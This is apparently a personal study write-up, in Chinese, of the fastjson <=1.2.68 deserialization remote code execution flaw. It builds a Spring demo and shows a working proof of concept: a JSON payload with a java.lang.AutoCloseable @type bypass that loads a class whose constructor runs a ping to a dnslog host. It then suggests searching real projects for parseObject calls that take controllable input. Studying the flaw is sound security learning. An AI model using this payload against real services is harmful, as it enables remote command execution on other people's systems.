fastjson ＜=1.2.68 远程代码执行漏洞 学习

fastjson ＜=1.2.68 远程代码执行漏洞 学习

环境

1、 MAC
2、Java版本为 1.8.0_261 。
3、Mysql版本为 5.7 。我用的是PHPstudy集成的。
4、IDEA版本随意。

项目

创建一个spring 项目mavc

pom.xml引用fastjson

<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.58</version>
</dependency>

创建demo_fastjson.java

package com.xq.tmall;

import com.alibaba.fastjson.JSON;

public class demo_fastjson {
    public static class User{
        private String id;
        User(){
            System.out.println("User go");
        }
        public void setId(String ids){
            System.out.println("setId go");
            this.id=ids;
        }
        public String getId(){
            System.out.println("GetId go");
            return this.id;
        }
    }

    public static void main(String[] args){

        //案例1
        //了解type 调用方式
        User a = new User();
        String json = JSON.toJSONString(a);
        System.out.println(json);
        //获取序列化的路径执行
        System.out.println(JSON.parseObject(json,User.class));
        System.out.println("-----------------");
        //type 传入恶意的json ，就会被反序列化执行
        System.out.println(JSON.parseObject("{\"@type\":\"com.xq.tmall.demo_fastjson$User\",\"id\":\"123\"}"));
    }
}

输出
通过

漏洞利用

前面已经说到如何去利用，所以这里需要寻找一个子类或实现非常多的类或接口都行，在实际中还是主要看checkAutoType方法中，有哪些对象或接口可以通过校验，实际测试中存在如下几种：

白名单（符合白名单条件的类）
TypeUtils.mappings （符合缓存映射中获取的类）
typeMapping （ParserConfig中本身带有的集合）
deserializers （符合反序列化器的类）
测试中发现实际上 TypeUtils.mappings 中含有相当多的类，其中就包括了接口 java.lang.AutoCloseable

创建一个VulAutoClos.java

package com.xq.tmall;

import java.io.IOException;


//需要继承 AutoCloseable
public class VulAutoClos implements AutoCloseable {
    public VulAutoClos(){
        try {
            Runtime.getRuntime().exec("ping 22.tzw9oj.dnslog.cn");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void close() throws Exception {

    }
}

在main函数调用JSON.parseObject

//案例2：
        //通过AutoCloseable 调用指定类
        System.out.println(JSON.parseObject("{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.xq.tmall.VulAutoClos\",\"cmd\":\"calc\"}\n"));

现在直接允许，就成功调用了VulAutoClos 类，ping命令dnslog 成功，收到

某项目案例

pom 使用了fastjon

全局搜索文件【JSON.parseObject(】，查看是有有使用并参数可控